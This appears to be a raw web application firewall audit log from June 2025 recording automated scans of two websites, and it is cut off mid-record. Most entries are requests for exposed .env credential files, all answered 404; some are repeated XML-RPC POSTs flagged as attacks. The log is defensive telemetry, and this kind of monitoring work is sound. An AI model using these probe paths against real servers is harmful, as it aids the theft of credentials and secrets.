--7fe5e25b-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9uEbwLQO_9qxz2deDFawAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035985036302 997931 (- - -) Stopwatch2: 1750035985036302 997931; combined=2506, p1=397, p2=1652, p3=46, p4=72, p5=208, sr=107, sw=131, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7fe5e25b-Z-- --85427118-A-- [16/Jun/2025:06:37:06.014046 +0530] aE9uOVXriBOgqnJNgkwlUwAAAAA 185.177.72.210 38030 127.0.0.1 7081 --85427118-B-- GET /:5601/api/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --85427118-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8a95c0f2863dfc6c32fb4c714b5e821a1750036025; expires=Mon, 16 Jun 2025 02:07:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --85427118-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/api/.env.local"] [unique_id "aE9uOVXriBOgqnJNgkwlUwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036025300351 713769 (- - -) Stopwatch2: 1750036025300351 713769; combined=2254, p1=473, p2=1678, p3=0, p4=0, p5=103, sr=104, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --85427118-Z-- --b622f409-A-- [16/Jun/2025:06:37:08.090553 +0530] aE9uO4kQyF8-ounHsxsCvQAAAA8 185.177.72.210 38206 127.0.0.1 7081 --b622f409-B-- GET /:8080/administrateur/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b622f409-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d358f37e1ffd8ee05c17b0455994daa61750036027; expires=Mon, 16 Jun 2025 02:07:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b622f409-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/administrateur/.env"] [unique_id "aE9uO4kQyF8-ounHsxsCvQAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036027360390 730255 (- - -) Stopwatch2: 1750036027360390 730255; combined=2085, p1=478, p2=1492, p3=0, p4=0, p5=114, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b622f409-Z-- --ae3ae00f-A-- [16/Jun/2025:06:37:13.079204 +0530] aE9uQFXriBOgqnJNgkwlXwAAAAA 185.177.72.210 37664 127.0.0.1 7081 --ae3ae00f-B-- GET /tmp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ae3ae00f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e42306fcdfeb6954eee8006395fe51181750036032; expires=Mon, 16 Jun 2025 02:07:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ae3ae00f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/tmp/.env"] [unique_id "aE9uQFXriBOgqnJNgkwlXwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036032398145 681178 (- - -) Stopwatch2: 1750036032398145 681178; combined=1761, p1=377, p2=1287, p3=0, p4=0, p5=96, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ae3ae00f-Z-- --0edf4470-A-- [16/Jun/2025:06:37:26.413131 +0530] aE9uTQ9THibLN0xLxET0qAAAAAk 128.199.112.101 54280 127.0.0.1 7081 --0edf4470-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --0edf4470-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --0edf4470-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9uTQ9THibLN0xLxET0qAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036045451858 961328 (- - -) Stopwatch2: 1750036045451858 961328; combined=2597, p1=494, p2=1742, p3=43, p4=66, p5=159, sr=115, sw=93, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0edf4470-Z-- --3c736b7c-A-- [16/Jun/2025:06:37:30.790290 +0530] aE9uUtNEcm-DhAkC0ibgzwAAAAY 185.177.72.210 45632 127.0.0.1 7081 --3c736b7c-B-- GET /:10000/.env_1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3c736b7c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=44246d6ba1702c03f3dc59299fa2e7931750036050; expires=Mon, 16 Jun 2025 02:07:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3c736b7c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/.env_1"] [unique_id "aE9uUtNEcm-DhAkC0ibgzwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036050025722 764630 (- - -) Stopwatch2: 1750036050025722 764630; combined=2059, p1=394, p2=1559, p3=0, p4=0, p5=105, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3c736b7c-Z-- --4fdb3c04-A-- [16/Jun/2025:06:37:35.365786 +0530] aE9uVg9THibLN0xLxET0rAAAAAk 185.177.72.210 45806 127.0.0.1 7081 --4fdb3c04-B-- GET /:8181/front-app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4fdb3c04-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=67dff3d531b0c82ed46baaaa76ebb1d51750036055; expires=Mon, 16 Jun 2025 02:07:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4fdb3c04-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/front-app/.env"] [unique_id "aE9uVg9THibLN0xLxET0rAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036054663815 702058 (- - -) Stopwatch2: 1750036054663815 702058; combined=1674, p1=389, p2=1162, p3=0, p4=0, p5=122, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4fdb3c04-Z-- --ccaba31e-A-- [16/Jun/2025:06:37:50.885980 +0530] aE9uZp16HYQp4eDf7R1aAwAAAAI 185.177.72.210 57658 127.0.0.1 7081 --ccaba31e-B-- GET /:8888/vendor/laravel/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ccaba31e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1d2bb8a461c7054bd7909358987621881750036070; expires=Mon, 16 Jun 2025 02:07:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ccaba31e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/vendor/laravel/.env"] [unique_id "aE9uZp16HYQp4eDf7R1aAwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036070227353 658691 (- - -) Stopwatch2: 1750036070227353 658691; combined=1903, p1=379, p2=1439, p3=0, p4=0, p5=84, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ccaba31e-Z-- --2a6f8162-A-- [16/Jun/2025:06:38:00.521551 +0530] aE9ucIkQyF8-ounHsxsC1AAAAA8 213.209.143.71 37240 127.0.0.1 7080 --2a6f8162-B-- GET /.env HTTP/1.0 Host: 198.71.51.75 X-Real-IP: 213.209.143.71 Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15 --2a6f8162-F-- HTTP/1.1 404 Not Found Content-Length: 258 Connection: close Content-Type: text/html; charset=iso-8859-1 --2a6f8162-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "198.71.51.75"] [uri "/.env"] [unique_id "aE9ucIkQyF8-ounHsxsC1AAAAA8"] Stopwatch: 1750036080518327 3266 (- - -) Stopwatch2: 1750036080518327 3266; combined=1984, p1=425, p2=1454, p3=27, p4=26, p5=52, sr=119, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2a6f8162-Z-- --5993fb7c-A-- [16/Jun/2025:06:38:06.363607 +0530] aE9udboFnONBt7jRcByRtQAAAA4 185.177.72.210 37590 127.0.0.1 7081 --5993fb7c-B-- GET /app/configura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5993fb7c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4ef690863861ec110a83c619e906185b1750036086; expires=Mon, 16 Jun 2025 02:08:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5993fb7c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/app/configura/.env"] [unique_id "aE9udboFnONBt7jRcByRtQAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036085680593 683101 (- - -) Stopwatch2: 1750036085680593 683101; combined=1834, p1=416, p2=1295, p3=0, p4=0, p5=122, sr=116, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5993fb7c-Z-- --bd15cb08-A-- [16/Jun/2025:06:38:14.427825 +0530] aE9ufdNEcm-DhAkC0ibg4QAAAAY 185.177.72.210 57216 127.0.0.1 7081 --bd15cb08-B-- GET /:5601/app/configura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bd15cb08-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=30c516268f449fa1a00348db6f6852111750036094; expires=Mon, 16 Jun 2025 02:08:14 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bd15cb08-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/app/configura/.env"] [unique_id "aE9ufdNEcm-DhAkC0ibg4QAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036093720500 707397 (- - -) Stopwatch2: 1750036093720500 707397; combined=1889, p1=412, p2=1389, p3=0, p4=0, p5=87, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bd15cb08-Z-- --1c449315-A-- [16/Jun/2025:06:38:25.566295 +0530] aE9uiPv_9qNKLXJRkuZbZQAAAAs 185.177.72.210 57396 127.0.0.1 7081 --1c449315-B-- GET /:8888/.docker/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1c449315-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f03fcc135a10a70eff93c9d8d0d645ce1750036105; expires=Mon, 16 Jun 2025 02:08:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1c449315-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.docker/.env"] [unique_id "aE9uiPv_9qNKLXJRkuZbZQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036104873178 693185 (- - -) Stopwatch2: 1750036104873178 693185; combined=2516, p1=530, p2=1883, p3=0, p4=0, p5=102, sr=138, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1c449315-Z-- --4c8dde78-A-- [16/Jun/2025:06:38:26.024421 +0530] aE9uiZLRu31pT8F-J2ZQtAAAAAc 128.199.112.101 57402 127.0.0.1 7081 --4c8dde78-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 500 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --4c8dde78-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --4c8dde78-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (48+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (48+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9uiZLRu31pT8F-J2ZQtAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036105061924 962591 (- - -) Stopwatch2: 1750036105061924 962591; combined=2672, p1=449, p2=1760, p3=52, p4=88, p5=202, sr=117, sw=121, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4c8dde78-Z-- --d8156c64-A-- [16/Jun/2025:06:38:31.095676 +0530] aE9ujroFnONBt7jRcByRvgAAAA4 185.177.72.210 46704 127.0.0.1 7081 --d8156c64-B-- GET /:8000/test/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d8156c64-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f2c5df1cd5072013f8cc7af0b5516a1a1750036110; expires=Mon, 16 Jun 2025 02:08:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d8156c64-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/test/.env"] [unique_id "aE9ujroFnONBt7jRcByRvgAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036110328912 766829 (- - -) Stopwatch2: 1750036110328912 766829; combined=1770, p1=390, p2=1287, p3=0, p4=0, p5=93, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d8156c64-Z-- --530fdb25-A-- [16/Jun/2025:06:38:33.190532 +0530] aE9ukPbo0R64L12N_alZbAAAAAQ 185.177.72.210 46818 127.0.0.1 7081 --530fdb25-B-- GET /:5601/conf/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --530fdb25-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, 